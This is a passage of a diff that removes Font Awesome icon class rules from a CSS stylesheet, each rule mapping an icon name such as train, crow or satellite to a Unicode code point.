- content: "\e05e"; }
-
-.fa-less-than-equal::before {
- content: "\f537"; }
-
-.fa-train::before {
- content: "\f238"; }
-
-.fa-eye-low-vision::before {
- content: "\f2a8"; }
-
-.fa-low-vision::before {
- content: "\f2a8"; }
-
-.fa-crow::before {
- content: "\f520"; }
-
-.fa-sailboat::before {
- content: "\e445"; }
-
-.fa-window-restore::before {
- content: "\f2d2"; }
-
-.fa-square-plus::before {
- content: "\f0fe"; }
-
-.fa-plus-square::before {
- content: "\f0fe"; }
-
-.fa-torii-gate::before {
- content: "\f6a1"; }
-
-.fa-frog::before {
- content: "\f52e"; }
-
-.fa-bucket::before {
- content: "\e4cf"; }
-
-.fa-image::before {
- content: "\f03e"; }
-
-.fa-microphone::before {
- content: "\f130"; }
-
-.fa-cow::before {
- content: "\f6c8"; }
-
-.fa-caret-up::before {
- content: "\f0d8"; }
-
-.fa-screwdriver::before {
- content: "\f54a"; }
-
-.fa-folder-closed::before {
- content: "\e185"; }
-
-.fa-house-tsunami::before {
- content: "\e515"; }
-
-.fa-square-nfi::before {
- content: "\e576"; }
-
-.fa-arrow-up-from-ground-water::before {
- content: "\e4b5"; }
-
-.fa-martini-glass::before {
- content: "\f57b"; }
-
-.fa-glass-martini-alt::before {
- content: "\f57b"; }
-
-.fa-rotate-left::before {
- content: "\f2ea"; }
-
-.fa-rotate-back::before {
- content: "\f2ea"; }
-
-.fa-rotate-backward::before {
- content: "\f2ea"; }
-
-.fa-undo-alt::before {
- content: "\f2ea"; }
-
-.fa-table-columns::before {
- content: "\f0db"; }
-
-.fa-columns::before {
- content: "\f0db"; }
-
-.fa-lemon::before {
- content: "\f094"; }
-
-.fa-head-side-mask::before {
- content: "\e063"; }
-
-.fa-handshake::before {
- content: "\f2b5"; }
-
-.fa-gem::before {
- content: "\f3a5"; }
-
-.fa-dolly::before {
- content: "\f472"; }
-
-.fa-dolly-box::before {
- content: "\f472"; }
-
-.fa-smoking::before {
- content: "\f48d"; }
-
-.fa-minimize::before {
- content: "\f78c"; }
-
-.fa-compress-arrows-alt::before {
- content: "\f78c"; }
-
-.fa-monument::before {
- content: "\f5a6"; }
-
-.fa-snowplow::before {
- content: "\f7d2"; }
-
-.fa-angles-right::before {
- content: "\f101"; }
-
-.fa-angle-double-right::before {
- content: "\f101"; }
-
-.fa-cannabis::before {
- content: "\f55f"; }
-
-.fa-circle-play::before {
- content: "\f144"; }
-
-.fa-play-circle::before {
- content: "\f144"; }
-
-.fa-tablets::before {
- content: "\f490"; }
-
-.fa-ethernet::before {
- content: "\f796"; }
-
-.fa-euro-sign::before {
- content: "\f153"; }
-
-.fa-eur::before {
- content: "\f153"; }
-
-.fa-euro::before {
- content: "\f153"; }
-
-.fa-chair::before {
- content: "\f6c0"; }
-
-.fa-circle-check::before {
- content: "\f058"; }
-
-.fa-check-circle::before {
- content: "\f058"; }
-
-.fa-circle-stop::before {
- content: "\f28d"; }
-
-.fa-stop-circle::before {
- content: "\f28d"; }
-
-.fa-compass-drafting::before {
- content: "\f568"; }
-
-.fa-drafting-compass::before {
- content: "\f568"; }
-
-.fa-plate-wheat::before {
- content: "\e55a"; }
-
-.fa-icicles::before {
- content: "\f7ad"; }
-
-.fa-person-shelter::before {
- content: "\e54f"; }
-
-.fa-neuter::before {
- content: "\f22c"; }
-
-.fa-id-badge::before {
- content: "\f2c1"; }
-
-.fa-marker::before {
- content: "\f5a1"; }
-
-.fa-face-laugh-beam::before {
- content: "\f59a"; }
-
-.fa-laugh-beam::before {
- content: "\f59a"; }
-
-.fa-helicopter-symbol::before {
- content: "\e502"; }
-
-.fa-universal-access::before {
- content: "\f29a"; }
-
-.fa-circle-chevron-up::before {
- content: "\f139"; }
-
-.fa-chevron-circle-up::before {
- content: "\f139"; }
-
-.fa-lari-sign::before {
- content: "\e1c8"; }
-
-.fa-volcano::before {
- content: "\f770"; }
-
-.fa-person-walking-dashed-line-arrow-right::before {
- content: "\e553"; }
-
-.fa-sterling-sign::before {
- content: "\f154"; }
-
-.fa-gbp::before {
- content: "\f154"; }
-
-.fa-pound-sign::before {
- content: "\f154"; }
-
-.fa-viruses::before {
- content: "\e076"; }
-
-.fa-square-person-confined::before {
- content: "\e577"; }
-
-.fa-user-tie::before {
- content: "\f508"; }
-
-.fa-arrow-down-long::before {
- content: "\f175"; }
-
-.fa-long-arrow-down::before {
- content: "\f175"; }
-
-.fa-tent-arrow-down-to-line::before {
- content: "\e57e"; }
-
-.fa-certificate::before {
- content: "\f0a3"; }
-
-.fa-reply-all::before {
- content: "\f122"; }
-
-.fa-mail-reply-all::before {
- content: "\f122"; }
-
-.fa-suitcase::before {
- content: "\f0f2"; }
-
-.fa-person-skating::before {
- content: "\f7c5"; }
-
-.fa-skating::before {
- content: "\f7c5"; }
-
-.fa-filter-circle-dollar::before {
- content: "\f662"; }
-
-.fa-funnel-dollar::before {
- content: "\f662"; }
-
-.fa-camera-retro::before {
- content: "\f083"; }
-
-.fa-circle-arrow-down::before {
- content: "\f0ab"; }
-
-.fa-arrow-circle-down::before {
- content: "\f0ab"; }
-
-.fa-file-import::before {
- content: "\f56f"; }
-
-.fa-arrow-right-to-file::before {
- content: "\f56f"; }
-
-.fa-square-arrow-up-right::before {
- content: "\f14c"; }
-
-.fa-external-link-square::before {
- content: "\f14c"; }
-
-.fa-box-open::before {
- content: "\f49e"; }
-
-.fa-scroll::before {
- content: "\f70e"; }
-
-.fa-spa::before {
- content: "\f5bb"; }
-
-.fa-location-pin-lock::before {
- content: "\e51f"; }
-
-.fa-pause::before {
- content: "\f04c"; }
-
-.fa-hill-avalanche::before {
- content: "\e507"; }
-
-.fa-temperature-empty::before {
- content: "\f2cb"; }
-
-.fa-temperature-0::before {
- content: "\f2cb"; }
-
-.fa-thermometer-0::before {
- content: "\f2cb"; }
-
-.fa-thermometer-empty::before {
- content: "\f2cb"; }
-
-.fa-bomb::before {
- content: "\f1e2"; }
-
-.fa-registered::before {
- content: "\f25d"; }
-
-.fa-address-card::before {
- content: "\f2bb"; }
-
-.fa-contact-card::before {
- content: "\f2bb"; }
-
-.fa-vcard::before {
- content: "\f2bb"; }
-
-.fa-scale-unbalanced-flip::before {
- content: "\f516"; }
-
-.fa-balance-scale-right::before {
- content: "\f516"; }
-
-.fa-subscript::before {
- content: "\f12c"; }
-
-.fa-diamond-turn-right::before {
- content: "\f5eb"; }
-
-.fa-directions::before {
- content: "\f5eb"; }
-
-.fa-burst::before {
- content: "\e4dc"; }
-
-.fa-house-laptop::before {
- content: "\e066"; }
-
-.fa-laptop-house::before {
- content: "\e066"; }
-
-.fa-face-tired::before {
- content: "\f5c8"; }
-
-.fa-tired::before {
- content: "\f5c8"; }
-
-.fa-money-bills::before {
- content: "\e1f3"; }
-
-.fa-smog::before {
- content: "\f75f"; }
-
-.fa-crutch::before {
- content: "\f7f7"; }
-
-.fa-cloud-arrow-up::before {
- content: "\f0ee"; }
-
-.fa-cloud-upload::before {
- content: "\f0ee"; }
-
-.fa-cloud-upload-alt::before {
- content: "\f0ee"; }
-
-.fa-palette::before {
- content: "\f53f"; }
-
-.fa-arrows-turn-right::before {
- content: "\e4c0"; }
-
-.fa-vest::before {
- content: "\e085"; }
-
-.fa-ferry::before {
- content: "\e4ea"; }
-
-.fa-arrows-down-to-people::before {
- content: "\e4b9"; }
-
-.fa-seedling::before {
- content: "\f4d8"; }
-
-.fa-sprout::before {
- content: "\f4d8"; }
-
-.fa-left-right::before {
- content: "\f337"; }
-
-.fa-arrows-alt-h::before {
- content: "\f337"; }
-
-.fa-boxes-packing::before {
- content: "\e4c7"; }
-
-.fa-circle-arrow-left::before {
- content: "\f0a8"; }
-
-.fa-arrow-circle-left::before {
- content: "\f0a8"; }
-
-.fa-group-arrows-rotate::before {
- content: "\e4f6"; }
-
-.fa-bowl-food::before {
- content: "\e4c6"; }
-
-.fa-candy-cane::before {
- content: "\f786"; }
-
-.fa-arrow-down-wide-short::before {
- content: "\f160"; }
-
-.fa-sort-amount-asc::before {
- content: "\f160"; }
-
-.fa-sort-amount-down::before {
- content: "\f160"; }
-
-.fa-cloud-bolt::before {
- content: "\f76c"; }
-
-.fa-thunderstorm::before {
- content: "\f76c"; }
-
-.fa-text-slash::before {
- content: "\f87d"; }
-
-.fa-remove-format::before {
- content: "\f87d"; }
-
-.fa-face-smile-wink::before {
- content: "\f4da"; }
-
-.fa-smile-wink::before {
- content: "\f4da"; }
-
-.fa-file-word::before {
- content: "\f1c2"; }
-
-.fa-file-powerpoint::before {
- content: "\f1c4"; }
-
-.fa-arrows-left-right::before {
- content: "\f07e"; }
-
-.fa-arrows-h::before {
- content: "\f07e"; }
-
-.fa-house-lock::before {
- content: "\e510"; }
-
-.fa-cloud-arrow-down::before {
- content: "\f0ed"; }
-
-.fa-cloud-download::before {
- content: "\f0ed"; }
-
-.fa-cloud-download-alt::before {
- content: "\f0ed"; }
-
-.fa-children::before {
- content: "\e4e1"; }
-
-.fa-chalkboard::before {
- content: "\f51b"; }
-
-.fa-blackboard::before {
- content: "\f51b"; }
-
-.fa-user-large-slash::before {
- content: "\f4fa"; }
-
-.fa-user-alt-slash::before {
- content: "\f4fa"; }
-
-.fa-envelope-open::before {
- content: "\f2b6"; }
-
-.fa-handshake-simple-slash::before {
- content: "\e05f"; }
-
-.fa-handshake-alt-slash::before {
- content: "\e05f"; }
-
-.fa-mattress-pillow::before {
- content: "\e525"; }
-
-.fa-guarani-sign::before {
- content: "\e19a"; }
-
-.fa-arrows-rotate::before {
- content: "\f021"; }
-
-.fa-refresh::before {
- content: "\f021"; }
-
-.fa-sync::before {
- content: "\f021"; }
-
-.fa-fire-extinguisher::before {
- content: "\f134"; }
-
-.fa-cruzeiro-sign::before {
- content: "\e152"; }
-
-.fa-greater-than-equal::before {
- content: "\f532"; }
-
-.fa-shield-halved::before {
- content: "\f3ed"; }
-
-.fa-shield-alt::before {
- content: "\f3ed"; }
-
-.fa-book-atlas::before {
- content: "\f558"; }
-
-.fa-atlas::before {
- content: "\f558"; }
-
-.fa-virus::before {
- content: "\e074"; }
-
-.fa-envelope-circle-check::before {
- content: "\e4e8"; }
-
-.fa-layer-group::before {
- content: "\f5fd"; }
-
-.fa-arrows-to-dot::before {
- content: "\e4be"; }
-
-.fa-archway::before {
- content: "\f557"; }
-
-.fa-heart-circle-check::before {
- content: "\e4fd"; }
-
-.fa-house-chimney-crack::before {
- content: "\f6f1"; }
-
-.fa-house-damage::before {
- content: "\f6f1"; }
-
-.fa-file-zipper::before {
- content: "\f1c6"; }
-
-.fa-file-archive::before {
- content: "\f1c6"; }
-
-.fa-square::before {
- content: "\f0c8"; }
-
-.fa-martini-glass-empty::before {
- content: "\f000"; }
-
-.fa-glass-martini::before {
- content: "\f000"; }
-
-.fa-couch::before {
- content: "\f4b8"; }
-
-.fa-cedi-sign::before {
- content: "\e0df"; }
-
-.fa-italic::before {
- content: "\f033"; }
-
-.fa-table-cells-column-lock::before {
- content: "\e678"; }
-
-.fa-church::before {
- content: "\f51d"; }
-
-.fa-comments-dollar::before {
- content: "\f653"; }
-
-.fa-democrat::before {
- content: "\f747"; }
-
-.fa-z::before {
- content: "\5a"; }
-
-.fa-person-skiing::before {
- content: "\f7c9"; }
-
-.fa-skiing::before {
- content: "\f7c9"; }
-
-.fa-road-lock::before {
- content: "\e567"; }
-
-.fa-a::before {
- content: "\41"; }
-
-.fa-temperature-arrow-down::before {
- content: "\e03f"; }
-
-.fa-temperature-down::before {
- content: "\e03f"; }
-
-.fa-feather-pointed::before {
- content: "\f56b"; }
-
-.fa-feather-alt::before {
- content: "\f56b"; }
-
-.fa-p::before {
- content: "\50"; }
-
-.fa-snowflake::before {
- content: "\f2dc"; }
-
-.fa-newspaper::before {
- content: "\f1ea"; }
-
-.fa-rectangle-ad::before {
- content: "\f641"; }
-
-.fa-ad::before {
- content: "\f641"; }
-
-.fa-circle-arrow-right::before {
- content: "\f0a9"; }
-
-.fa-arrow-circle-right::before {
- content: "\f0a9"; }
-
-.fa-filter-circle-xmark::before {
- content: "\e17b"; }
-
-.fa-locust::before {
- content: "\e520"; }
-
-.fa-sort::before {
- content: "\f0dc"; }
-
-.fa-unsorted::before {
- content: "\f0dc"; }
-
-.fa-list-ol::before {
- content: "\f0cb"; }
-
-.fa-list-1-2::before {
- content: "\f0cb"; }
-
-.fa-list-numeric::before {
- content: "\f0cb"; }
-
-.fa-person-dress-burst::before {
- content: "\e544"; }
-
-.fa-money-check-dollar::before {
- content: "\f53d"; }
-
-.fa-money-check-alt::before {
- content: "\f53d"; }
-
-.fa-vector-square::before {
- content: "\f5cb"; }
-
-.fa-bread-slice::before {
- content: "\f7ec"; }
-
-.fa-language::before {
- content: "\f1ab"; }
-
-.fa-face-kiss-wink-heart::before {
- content: "\f598"; }
-
-.fa-kiss-wink-heart::before {
- content: "\f598"; }
-
-.fa-filter::before {
- content: "\f0b0"; }
-
-.fa-question::before {
- content: "\3f"; }
-
-.fa-file-signature::before {
- content: "\f573"; }
-
-.fa-up-down-left-right::before {
- content: "\f0b2"; }
-
-.fa-arrows-alt::before {
- content: "\f0b2"; }
-
-.fa-house-chimney-user::before {
- content: "\e065"; }
-
-.fa-hand-holding-heart::before {
- content: "\f4be"; }
-
-.fa-puzzle-piece::before {
- content: "\f12e"; }
-
-.fa-money-check::before {
- content: "\f53c"; }
-
-.fa-star-half-stroke::before {
- content: "\f5c0"; }
-
-.fa-star-half-alt::before {
- content: "\f5c0"; }
-
-.fa-code::before {
- content: "\f121"; }
-
-.fa-whiskey-glass::before {
- content: "\f7a0"; }
-
-.fa-glass-whiskey::before {
- content: "\f7a0"; }
-
-.fa-building-circle-exclamation::before {
- content: "\e4d3"; }
-
-.fa-magnifying-glass-chart::before {
- content: "\e522"; }
-
-.fa-arrow-up-right-from-square::before {
- content: "\f08e"; }
-
-.fa-external-link::before {
- content: "\f08e"; }
-
-.fa-cubes-stacked::before {
- content: "\e4e6"; }
-
-.fa-won-sign::before {
- content: "\f159"; }
-
-.fa-krw::before {
- content: "\f159"; }
-
-.fa-won::before {
- content: "\f159"; }
-
-.fa-virus-covid::before {
- content: "\e4a8"; }
-
-.fa-austral-sign::before {
- content: "\e0a9"; }
-
-.fa-f::before {
- content: "\46"; }
-
-.fa-leaf::before {
- content: "\f06c"; }
-
-.fa-road::before {
- content: "\f018"; }
-
-.fa-taxi::before {
- content: "\f1ba"; }
-
-.fa-cab::before {
- content: "\f1ba"; }
-
-.fa-person-circle-plus::before {
- content: "\e541"; }
-
-.fa-chart-pie::before {
- content: "\f200"; }
-
-.fa-pie-chart::before {
- content: "\f200"; }
-
-.fa-bolt-lightning::before {
- content: "\e0b7"; }
-
-.fa-sack-xmark::before {
- content: "\e56a"; }
-
-.fa-file-excel::before {
- content: "\f1c3"; }
-
-.fa-file-contract::before {
- content: "\f56c"; }
-
-.fa-fish-fins::before {
- content: "\e4f2"; }
-
-.fa-building-flag::before {
- content: "\e4d5"; }
-
-.fa-face-grin-beam::before {
- content: "\f582"; }
-
-.fa-grin-beam::before {
- content: "\f582"; }
-
-.fa-object-ungroup::before {
- content: "\f248"; }
-
-.fa-poop::before {
- content: "\f619"; }
-
-.fa-location-pin::before {
- content: "\f041"; }
-
-.fa-map-marker::before {
- content: "\f041"; }
-
-.fa-kaaba::before {
- content: "\f66b"; }
-
-.fa-toilet-paper::before {
- content: "\f71e"; }
-
-.fa-helmet-safety::before {
- content: "\f807"; }
-
-.fa-hard-hat::before {
- content: "\f807"; }
-
-.fa-hat-hard::before {
- content: "\f807"; }
-
-.fa-eject::before {
- content: "\f052"; }
-
-.fa-circle-right::before {
- content: "\f35a"; }
-
-.fa-arrow-alt-circle-right::before {
- content: "\f35a"; }
-
-.fa-plane-circle-check::before {
- content: "\e555"; }
-
-.fa-face-rolling-eyes::before {
- content: "\f5a5"; }
-
-.fa-meh-rolling-eyes::before {
- content: "\f5a5"; }
-
-.fa-object-group::before {
- content: "\f247"; }
-
-.fa-chart-line::before {
- content: "\f201"; }
-
-.fa-line-chart::before {
- content: "\f201"; }
-
-.fa-mask-ventilator::before {
- content: "\e524"; }
-
-.fa-arrow-right::before {
- content: "\f061"; }
-
-.fa-signs-post::before {
- content: "\f277"; }
-
-.fa-map-signs::before {
- content: "\f277"; }
-
-.fa-cash-register::before {
- content: "\f788"; }
-
-.fa-person-circle-question::before {
- content: "\e542"; }
-
-.fa-h::before {
- content: "\48"; }
-
-.fa-tarp::before {
- content: "\e57b"; }
-
-.fa-screwdriver-wrench::before {
- content: "\f7d9"; }
-
-.fa-tools::before {
- content: "\f7d9"; }
-
-.fa-arrows-to-eye::before {
- content: "\e4bf"; }
-
-.fa-plug-circle-bolt::before {
- content: "\e55b"; }
-
-.fa-heart::before {
- content: "\f004"; }
-
-.fa-mars-and-venus::before {
- content: "\f224"; }
-
-.fa-house-user::before {
- content: "\e1b0"; }
-
-.fa-home-user::before {
- content: "\e1b0"; }
-
-.fa-dumpster-fire::before {
- content: "\f794"; }
-
-.fa-house-crack::before {
- content: "\e3b1"; }
-
-.fa-martini-glass-citrus::before {
- content: "\f561"; }
-
-.fa-cocktail::before {
- content: "\f561"; }
-
-.fa-face-surprise::before {
- content: "\f5c2"; }
-
-.fa-surprise::before {
- content: "\f5c2"; }
-
-.fa-bottle-water::before {
- content: "\e4c5"; }
-
-.fa-circle-pause::before {
- content: "\f28b"; }
-
-.fa-pause-circle::before {
- content: "\f28b"; }
-
-.fa-toilet-paper-slash::before {
- content: "\e072"; }
-
-.fa-apple-whole::before {
- content: "\f5d1"; }
-
-.fa-apple-alt::before {
- content: "\f5d1"; }
-
-.fa-kitchen-set::before {
- content: "\e51a"; }
-
-.fa-r::before {
- content: "\52"; }
-
-.fa-temperature-quarter::before {
- content: "\f2ca"; }
-
-.fa-temperature-1::before {
- content: "\f2ca"; }
-
-.fa-thermometer-1::before {
- content: "\f2ca"; }
-
-.fa-thermometer-quarter::before {
- content: "\f2ca"; }
-
-.fa-cube::before {
- content: "\f1b2"; }
-
-.fa-bitcoin-sign::before {
- content: "\e0b4"; }
-
-.fa-shield-dog::before {
- content: "\e573"; }
-
-.fa-solar-panel::before {
- content: "\f5ba"; }
-
-.fa-lock-open::before {
- content: "\f3c1"; }
-
-.fa-elevator::before {
- content: "\e16d"; }
-
-.fa-money-bill-transfer::before {
- content: "\e528"; }
-
-.fa-money-bill-trend-up::before {
- content: "\e529"; }
-
-.fa-house-flood-water-circle-arrow-right::before {
- content: "\e50f"; }
-
-.fa-square-poll-horizontal::before {
- content: "\f682"; }
-
-.fa-poll-h::before {
- content: "\f682"; }
-
-.fa-circle::before {
- content: "\f111"; }
-
-.fa-backward-fast::before {
- content: "\f049"; }
-
-.fa-fast-backward::before {
- content: "\f049"; }
-
-.fa-recycle::before {
- content: "\f1b8"; }
-
-.fa-user-astronaut::before {
- content: "\f4fb"; }
-
-.fa-plane-slash::before {
- content: "\e069"; }
-
-.fa-trademark::before {
- content: "\f25c"; }
-
-.fa-basketball::before {
- content: "\f434"; }
-
-.fa-basketball-ball::before {
- content: "\f434"; }
-
-.fa-satellite-dish::before {
- content: "\f7c0"; }
-
-.fa-circle-up::before {
- content: "\f35b"; }
-
-.fa-arrow-alt-circle-up::before {
- content: "\f35b"; }
-
-.fa-mobile-screen-button::before {
- content: "\f3cd"; }
-
-.fa-mobile-alt::before {
- content: "\f3cd"; }
-
-.fa-volume-high::before {
- content: "\f028"; }
-
-.fa-volume-up::before {
- content: "\f028"; }
-
-.fa-users-rays::before {
- content: "\e593"; }
-
-.fa-wallet::before {
- content: "\f555"; }
-
-.fa-clipboard-check::before {
- content: "\f46c"; }
-
-.fa-file-audio::before {
- content: "\f1c7"; }
-
-.fa-burger::before {
- content: "\f805"; }
-
-.fa-hamburger::before {
- content: "\f805"; }
-
-.fa-wrench::before {
- content: "\f0ad"; }
-
-.fa-bugs::before {
- content: "\e4d0"; }
-
-.fa-rupee-sign::before {
- content: "\f156"; }
-
-.fa-rupee::before {
- content: "\f156"; }
-
-.fa-file-image::before {
- content: "\f1c5"; }
-
-.fa-circle-question::before {
- content: "\f059"; }
-
-.fa-question-circle::before {
- content: "\f059"; }
-
-.fa-plane-departure::before {
- content: "\f5b0"; }
-
-.fa-handshake-slash::before {
- content: "\e060"; }
-
-.fa-book-bookmark::before {
- content: "\e0bb"; }
-
-.fa-code-branch::before {
- content: "\f126"; }
-
-.fa-hat-cowboy::before {
- content: "\f8c0"; }
-
-.fa-bridge::before {
- content: "\e4c8"; }
-
-.fa-phone-flip::before {
- content: "\f879"; }
-
-.fa-phone-alt::before {
- content: "\f879"; }
-
-.fa-truck-front::before {
- content: "\e2b7"; }
-
-.fa-cat::before {
- content: "\f6be"; }
-
-.fa-anchor-circle-exclamation::before {
- content: "\e4ab"; }
-
-.fa-truck-field::before {
- content: "\e58d"; }
-
-.fa-route::before {
- content: "\f4d7"; }
-
-.fa-clipboard-question::before {
- content: "\e4e3"; }
-
-.fa-panorama::before {
- content: "\e209"; }
-
-.fa-comment-medical::before {
- content: "\f7f5"; }
-
-.fa-teeth-open::before {
- content: "\f62f"; }
-
-.fa-file-circle-minus::before {
- content: "\e4ed"; }
-
-.fa-tags::before {
- content: "\f02c"; }
-
-.fa-wine-glass::before {
- content: "\f4e3"; }
-
-.fa-forward-fast::before {
- content: "\f050"; }
-
-.fa-fast-forward::before {
- content: "\f050"; }
-
-.fa-face-meh-blank::before {
- content: "\f5a4"; }
-
-.fa-meh-blank::before {
- content: "\f5a4"; }
-
-.fa-square-parking::before {
- content: "\f540"; }
-
-.fa-parking::before {
- content: "\f540"; }
-
-.fa-house-signal::before {
- content: "\e012"; }
-
-.fa-bars-progress::before {
- content: "\f828"; }
-
-.fa-tasks-alt::before {
- content: "\f828"; }
-
-.fa-faucet-drip::before {
- content: "\e006"; }
-
-.fa-cart-flatbed::before {
- content: "\f474"; }
-
-.fa-dolly-flatbed::before {
- content: "\f474"; }
-
-.fa-ban-smoking::before {
- content: "\f54d"; }
-
-.fa-smoking-ban::before {
- content: "\f54d"; }
-
-.fa-terminal::before {
- content: "\f120"; }
-
-.fa-mobile-button::before {
- content: "\f10b"; }
-
-.fa-house-medical-flag::before {
- content: "\e514"; }
-
-.fa-basket-shopping::before {
- content: "\f291"; }
-
-.fa-shopping-basket::before {
- content: "\f291"; }
-
-.fa-tape::before {
- content: "\f4db"; }
-
-.fa-bus-simple::before {
- content: "\f55e"; }
-
-.fa-bus-alt::before {
- content: "\f55e"; }
-
-.fa-eye::before {
- content: "\f06e"; }
-
-.fa-face-sad-cry::before {
- content: "\f5b3"; }
-
-.fa-sad-cry::before {
- content: "\f5b3"; }
-
-.fa-audio-description::before {
- content: "\f29e"; }
-
-.fa-person-military-to-person::before {
- content: "\e54c"; }
-
-.fa-file-shield::before {
- content: "\e4f0"; }
-
-.fa-user-slash::before {
- content: "\f506"; }
-
-.fa-pen::before {
- content: "\f304"; }
-
-.fa-tower-observation::before {
- content: "\e586"; }
-
-.fa-file-code::before {
- content: "\f1c9"; }
-
-.fa-signal::before {
- content: "\f012"; }
-
-.fa-signal-5::before {
- content: "\f012"; }
-
-.fa-signal-perfect::before {
- content: "\f012"; }
-
-.fa-bus::before {
- content: "\f207"; }
-
-.fa-heart-circle-xmark::before {
- content: "\e501"; }
-
-.fa-house-chimney::before {
- content: "\e3af"; }
-
-.fa-home-lg::before {
- content: "\e3af"; }
-
-.fa-window-maximize::before {
- content: "\f2d0"; }
-
-.fa-face-frown::before {
- content: "\f119"; }
-
-.fa-frown::before {
- content: "\f119"; }
-
-.fa-prescription::before {
- content: "\f5b1"; }
-
-.fa-shop::before {
- content: "\f54f"; }
-
-.fa-store-alt::before {
- content: "\f54f"; }
-
-.fa-floppy-disk::before {
- content: "\f0c7"; }
-
-.fa-save::before {
- content: "\f0c7"; }
-
-.fa-vihara::before {
- content: "\f6a7"; }
-
-.fa-scale-unbalanced::before {
- content: "\f515"; }
-
-.fa-balance-scale-left::before {
- content: "\f515"; }
-
-.fa-sort-up::before {
- content: "\f0de"; }
-
-.fa-sort-asc::before {
- content: "\f0de"; }
-
-.fa-comment-dots::before {
- content: "\f4ad"; }
-
-.fa-commenting::before {
- content: "\f4ad"; }
-
-.fa-plant-wilt::before {
- content: "\e5aa"; }
-
-.fa-diamond::before {
- content: "\f219"; }
-
-.fa-face-grin-squint::before {
- content: "\f585"; }
-
-.fa-grin-squint::before {
- content: "\f585"; }
-
-.fa-hand-holding-dollar::before {
- content: "\f4c0"; }
-
-.fa-hand-holding-usd::before {
- content: "\f4c0"; }
-
-.fa-bacterium::before {
- content: "\e05a"; }
-
-.fa-hand-pointer::before {
- content: "\f25a"; }
-
-.fa-drum-steelpan::before {
- content: "\f56a"; }
-
-.fa-hand-scissors::before {
- content: "\f257"; }
-
-.fa-hands-praying::before {
- content: "\f684"; }
-
-.fa-praying-hands::before {
- content: "\f684"; }
-
-.fa-arrow-rotate-right::before {
- content: "\f01e"; }
-
-.fa-arrow-right-rotate::before {
- content: "\f01e"; }
-
-.fa-arrow-rotate-forward::before {
- content: "\f01e"; }
-
-.fa-redo::before {
- content: "\f01e"; }
-
-.fa-biohazard::before {
- content: "\f780"; }
-
-.fa-location-crosshairs::before {
- content: "\f601"; }
-
-.fa-location::before {
- content: "\f601"; }
-
-.fa-mars-double::before {
- content: "\f227"; }
-
-.fa-child-dress::before {
- content: "\e59c"; }
-
-.fa-users-between-lines::before {
- content: "\e591"; }
-
-.fa-lungs-virus::before {
- content: "\e067"; }
-
-.fa-face-grin-tears::before {
- content: "\f588"; }
-
-.fa-grin-tears::before {
- content: "\f588"; }
-
-.fa-phone::before {
- content: "\f095"; }
-
-.fa-calendar-xmark::before {
- content: "\f273"; }
-
-.fa-calendar-times::before {
- content: "\f273"; }
-
-.fa-child-reaching::before {
- content: "\e59d"; }
-
-.fa-head-side-virus::before {
- content: "\e064"; }
-
-.fa-user-gear::before {
- content: "\f4fe"; }
-
-.fa-user-cog::before {
- content: "\f4fe"; }
-
-.fa-arrow-up-1-9::before {
- content: "\f163"; }
-
-.fa-sort-numeric-up::before {
- content: "\f163"; }
-
-.fa-door-closed::before {
- content: "\f52a"; }
-
-.fa-shield-virus::before {
- content: "\e06c"; }
-
-.fa-dice-six::before {
- content: "\f526"; }
-
-.fa-mosquito-net::before {
- content: "\e52c"; }
-
-.fa-bridge-water::before {
- content: "\e4ce"; }
-
-.fa-person-booth::before {
- content: "\f756"; }
-
-.fa-text-width::before {
- content: "\f035"; }
-
-.fa-hat-wizard::before {
- content: "\f6e8"; }
-
-.fa-pen-fancy::before {
- content: "\f5ac"; }
-
-.fa-person-digging::before {
- content: "\f85e"; }
-
-.fa-digging::before {
- content: "\f85e"; }
-
-.fa-trash::before {
- content: "\f1f8"; }
-
-.fa-gauge-simple::before {
- content: "\f629"; }
-
-.fa-gauge-simple-med::before {
- content: "\f629"; }
-
-.fa-tachometer-average::before {
- content: "\f629"; }
-
-.fa-book-medical::before {
- content: "\f7e6"; }
-
-.fa-poo::before {
- content: "\f2fe"; }
-
-.fa-quote-right::before {
- content: "\f10e"; }
-
-.fa-quote-right-alt::before {
- content: "\f10e"; }
-
-.fa-shirt::before {
- content: "\f553"; }
-
-.fa-t-shirt::before {
- content: "\f553"; }
-
-.fa-tshirt::before {
- content: "\f553"; }
-
-.fa-cubes::before {
- content: "\f1b3"; }
-
-.fa-divide::before {
- content: "\f529"; }
-
-.fa-tenge-sign::before {
- content: "\f7d7"; }
-
-.fa-tenge::before {
- content: "\f7d7"; }
-
-.fa-headphones::before {
- content: "\f025"; }
-
-.fa-hands-holding::before {
- content: "\f4c2"; }
-
-.fa-hands-clapping::before {
- content: "\e1a8"; }
-
-.fa-republican::before {
- content: "\f75e"; }
-
-.fa-arrow-left::before {
- content: "\f060"; }
-
-.fa-person-circle-xmark::before {
- content: "\e543"; }
-
-.fa-ruler::before {
- content: "\f545"; }
-
-.fa-align-left::before {
- content: "\f036"; }
-
-.fa-dice-d6::before {
- content: "\f6d1"; }
-
-.fa-restroom::before {
- content: "\f7bd"; }
-
-.fa-j::before {
- content: "\4a"; }
-
-.fa-users-viewfinder::before {
- content: "\e595"; }
-
-.fa-file-video::before {
- content: "\f1c8"; }
-
-.fa-up-right-from-square::before {
- content: "\f35d"; }
-
-.fa-external-link-alt::before {
- content: "\f35d"; }
-
-.fa-table-cells::before {
- content: "\f00a"; }
-
-.fa-th::before {
- content: "\f00a"; }
-
-.fa-file-pdf::before {
- content: "\f1c1"; }
-
-.fa-book-bible::before {
- content: "\f647"; }
-
-.fa-bible::before {
- content: "\f647"; }
-
-.fa-o::before {
- content: "\4f"; }
-
-.fa-suitcase-medical::before {
- content: "\f0fa"; }
-
-.fa-medkit::before {
- content: "\f0fa"; }
-
-.fa-user-secret::before {
- content: "\f21b"; }
-
-.fa-otter::before {
- content: "\f700"; }
-
-.fa-person-dress::before {
- content: "\f182"; }
-
-.fa-female::before {
- content: "\f182"; }
-
-.fa-comment-dollar::before {
- content: "\f651"; }
-
-.fa-business-time::before {
- content: "\f64a"; }
-
-.fa-briefcase-clock::before {
- content: "\f64a"; }
-
-.fa-table-cells-large::before {
- content: "\f009"; }
-
-.fa-th-large::before {
- content: "\f009"; }
-
-.fa-book-tanakh::before {
- content: "\f827"; }
-
-.fa-tanakh::before {
- content: "\f827"; }
-
-.fa-phone-volume::before {
- content: "\f2a0"; }
-
-.fa-volume-control-phone::before {
- content: "\f2a0"; }
-
-.fa-hat-cowboy-side::before {
- content: "\f8c1"; }
-
-.fa-clipboard-user::before {
- content: "\f7f3"; }
-
-.fa-child::before {
- content: "\f1ae"; }
-
-.fa-lira-sign::before {
- content: "\f195"; }
-
-.fa-satellite::before {
- content: "\f7bf"; }
-
